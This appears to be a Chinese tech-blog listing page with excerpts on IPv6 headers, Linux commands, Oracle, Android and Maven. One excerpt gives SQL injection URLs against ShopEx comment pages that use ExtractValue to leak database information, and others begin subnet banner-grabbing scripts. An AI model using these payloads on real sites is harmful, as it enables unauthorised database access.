version

TCP/IP卷一 2.2 IPv6报头 2015-11-02

version:6 Traffic class:=ToS字段 Flow label:允许特定的业务流打上标签 Payload length(20b,指定更长的有效负载):有效载荷长度(因为IPv6数据报头固定40B,不加进去) Next header:下一层的协议(包括IPv6的扩展头部+四层头部) Hop limit:=TTL

每天一个linux命令(42):kill命令 2015-11-01

每天一个linux命令(42):kill命令 Linux中的kill命令用来终止指定的进程(terminate a process)的运行,是Linux下进程管理的常用命令.通常,终止一个前台进程可以使用Ctrl+C键,但是,对于一个后台进程就须用kill命令来终止,我们就需要先使用ps/pidof/pstree/top等工具获取进程PID,然后使用kill命令来杀掉该进程.kill命令是通过向进程发送指定的信号来结束相应进程的.在默认情况下,采用编号为15的TERM信号.TERM信号将终止所有

每天一个linux命令(40):wc命令 2015-10-31

每天一个linux命令(40):wc命令 Linux系统中的wc(Word Count)命令的功能为统计指定文件中的字节数.字数.行数,并将统计结果显示输出. 1.命令格式: wc [选项]文件... 2.命令功能: 统计指定文件中的字节数.字数.行数,并将统计结果显示输出.该命令统计指定文件中的字节数.字数.行数.如果没有给出文件名,则从标准输入读取.wc同时也给出所指定文件的总统计数. 3.命令参数: -c 统计字节数. -l 统计行数. -m 统计字符数.这个标志不能与 -c 标志一起使用

apache基于mysql数据库用户身份认证 2015-10-30

首先安装一下mysql数据库 [root@localhost ~]# yum install -y mysql-sever mysql-devel 启动mysql数据库 [root@localhost ~]# service mysqld restart 给mysql的root设置一个密码为123 [root@localhost ~]# mysqladmin -uroot password 123 进入mysql数据库 [root@localhost ~]# mysql -uroot -p123

采用HttpServlet 实现web文件下载 2015-10-26

import java.io.*; import javax.servlet.*; import javax.servlet.http.*; import com.TopWisdom.framework.util.*; /** * <p>Title: tomcat 5.59文件下载</p> * <p>Description: 困惑我与我的项目组很久的web文件下载,今天终于解决了,借此也奉献给与我一样的困惑的朋友</p> * <p>Copyrig

S2S3H4框架深度集成搭建(3) hibernate的深度集成 2015-10-26

之 前分别写了集成struts2,以及spring3的关键问题,就剩hibernate4了,但是其中并不需要什么特殊的地方.只是将hibernate 的配置全部转换到spring的配置中去而已.网上搜一搜有大量的技术文章,我这里就不详细赘述了,只是将本人的配置文件内容贴出来供大家参考: <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframewo

Cortex依赖管理 2015-10-26

cortex对模块的依赖基于semantic version进行管理,如果熟悉npm的模块管理方式,大家都了解node的模块是放在node_modules这个目录下,每个模块自己的依赖都放在自己目录下的node_modules里面,这样避免了不同模块之间的共同依赖版本冲突的问题. 而在前端开发中,套嵌的依赖是不可能的,因为: 1) web开发的载入是异步的,不能像node那样去在运行时检测文件上依赖是否存在,远程检测模块是否存在再载入非常耗时. 2) 文件大小限制,相对于磁盘的廉价,http请求

oracleoracle linux 6.3+11GR2 安装 2015-10-26

具体的安装步骤网上已经很多,我只说碰到的几个问题. 虚拟机环境下安装. 虚拟机版本: virtual box 4.2 guest os: oracle linux 6.3 DB version: 11.2.0.3.0 安装RDBMS的时候之前,要检查OS的很多包是否安装. 在oracle linux 6 中提供了一个包,可以解决这个问题,省得你一一检查: oracle-rdbms-server-11gR2-preinstall 如果你的虚拟机能上外网,且网络好,就直接 yum install o

oracletruncate 操作对索引的影响 2015-10-26

由于测试库的需要,每个月要对部分表的数据清空,然后插入新的数据. 然后就在想truncate后对原表上的索引是否有影响. 测试实验如下: 数据库版本: SQL> select * from v$version; BANNER ---------------------------------------------------------------- Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Prod PL/SQL

oracleflashback query 2015-10-26

今天无意间有个同事问 SELECT employee_id,salary FROM employees AS OF TIMESTAMP(SYSTIMESTAMP-INTERVAL'10' minute). 表达的意思.看到 as of ,之前还真没见过,遂查之. 原来这句话是想查 employees 十分钟之前的数据. 随后就引出了oracle的 flashback 技术. 本文通过实验说明其中的 flashback query 部分. 查看数据库版本: SQL> select * from v

修改系统启动项 grub2配置的方法 ubuntu 2015-10-24

在 早期的Ubuntu中,使用Grub作为系统的启动引导程序,想修改系统启动项非常简单,只要用gedit打开系统菜单设定文件( sudo gedit /boot/grub/menu.lst ),修改该文件中到内容即可,但是到了Grub 2中,不能采用这种方式修改系统启动项了. Grub 2特性 Grub 2(GRand Unified Bootloader, version 2)是Grub的第二版.Grub 2对Grub的接口进行了完整到重写,基于PUPA(详细介绍)项目到研究,Grub 2更模

Linux使用FlowScan 2015-10-23

Linux使用FlowScan完全安装配置指南 2015.04.30 1. Flowscan介绍 Flowscan采用Perl语言编写,主要用于处理展现网络设备发过来Netflow数据. 早先Flowscan利用cflow收集处理netflow v5数据,后来利用flow-tool收集处理netflow v5数据, 注意cflow需要在flow-tool下面编译供flowscan后期使用,然后flowscan对流进行扫描分析并绘图, 是一款挺不错的Netflow分析展现工具. CUFlow是Fl

实现TabWidget选项卡按钮在屏幕下方 2015-10-22

看到很多热门的Android程序(如:新浪微博.腾讯微博.京东商城.淘宝.当当等等)使用选项卡风格作为程序界面的主框架结构,而Android的选项卡控件默认是按钮在上方的.我在网上看到有多种实现方法,这里提供一种个人觉得比较简单的.由于我对Android开发所知甚少,方法的优劣目前不好评价,欢迎各位提供更好的思路. 主要原理:设置 TabWidget 控件的 android:layout_alignParentBottom="true" 实现. main.xml <?xml ve

shopex通杀注入两处 2015-10-22

http://www.x.cn/index.php?comment-822'/**/and/**/'1'='1-ask-commentlist.html http://www.x.com/comment-8967'/**/and/**/ExtractValue(0x64,concat(0x01,(select/**/@@version)))/**/order/**/by/**/'1-ask-commentlist.html http://www.x.cn/index.php?comment-82

解决Project facet Java version 6.0 is not supported的方法 2015-10-22

把之前的项目导入Eclipse,发现有打叉,但找不到原因,后在项目的右键菜单中无意选择了[Profile As]-[Profile On Server]时,才发现是Project facet Java version 6.0 is not supported的问题. 这个问题遇到过,解决方法是在项目的右键菜单中选择[Properties]-[Project Facets],修改Java的版本为你安装的JDK的版本即可,如我的项目开发时是JDK 6.0(1.6)的,而我电脑里的是5.0(1.5)的

mvn pom 2015-10-21

转自http://buzhucele.iteye.com/blog/1218004 1.前言 Maven,发音是[`meivin],"专家"的意思.它是一个很好的项目管理工具,很早就进入了我的必备工具行列,但是这次为了把project1项目完全迁移并应用maven,所以对maven进行了一些深入的学习.写这个学习笔记的目的,一个是为了自己备忘,二则希望能够为其他人学习使用maven 缩短一些时间. 2.命令 mvn pom.xml文件配置详解 http://maven.apache.o

C段http_banner获取 2015-10-21

#-*-coding=utf-8-*- # __author__ = 'sanr' # __email__ = '5754190@qq.com' # __url__ = 'http://0x007.blog.51cto.com/' # __version__ = '0.1' import requests import re from threading import Thread,Lock import time import sys import chardet import netaddr

http_banner获取v0.2 2015-10-21

#-*-coding=utf-8-*- # __author__ = 'sanr' # __email__ = '5754190@qq.com' # __url__ = 'http://0x007.blog.51cto.com/' # __version__ = '0.2' import requests import re from threading import Thread,Lock import time import sys import chardet import netaddr
一周排行
  • 一.问题出现OutOfMemeryError的原因? Androd针对每个应用有内存限制 二.为什么每个应用都限制最大内存使用? 1. 可以多任务同时运行,不可能每个任务都占用尽可能多的内存 2. 如果堆很大,垃圾回 ...
  • 以下内容节选自新作<把脉VC++> 电子工业出版社出版 http://www.broadview.com.cn/zhuanti/daimajiemi/introduction.html --------- ...
  • .NET 的新十大工具   Webmatrix, Visual Studio Express, Notepad++, JustDecompile, Fiddler, FileZilla, LINQPad, soapU ...
  • 译序 有些网友对为什么D2JSP能运行JavaScript脚本程序感到奇怪,因此我翻译了这篇文章,原文在这里.这篇教程手把手教你如何利用SpiderMonkey创建一个能执行JavaScript脚本的C++程序,并让 ...
  • tipaskSQL注入漏洞某处过滤不全 再次过滤还是未考虑全 function onsearch() { $qstatus = $status = $this->get[3] ? $this->get[3 ...
  • 一.时间管理 1.Linux:开机启动读取rtc的时间: 硬件时钟clock 系统时钟date 2.主板上计量时间的叫晶体振荡器,晶体振荡器来完成时间计量. 二.获得命令的使用帮助 1.内部命令获得方式: help ...
  • 一.触发器是一类特殊的存储过程,在对表update.insert或delete语句是自动执行 二.触发器的操作:   (1).创建: 格式: CREATE trigger 触发器名 on 表名 for insert, ...
  • "嗨,今天你团了吗?"在外企当总裁秘书的小菲灵活地敲打键盘,MSN屏幕一闪,自动弹出"团购中,请勿打扰". 越来越多的都市白领活跃在网络上,秒杀"团购".一 ...
  • 网上看到Citrix宣传其桌面虚拟化产品支持其他第三方hypervisor,如(VMware vSphere,Citrix Xenserver,Microsoft Hyper-V). 初乍一看,Citrix宣称的开放 ...
  • 数据库中MyISAM与InnoDB区别 首页 » DIY技术区 » 数据库中MyISAM与InnoDB区别 0     MyISAM:这个是默认类型,它是基于传统的ISAM类型,ISAM是Indexed ...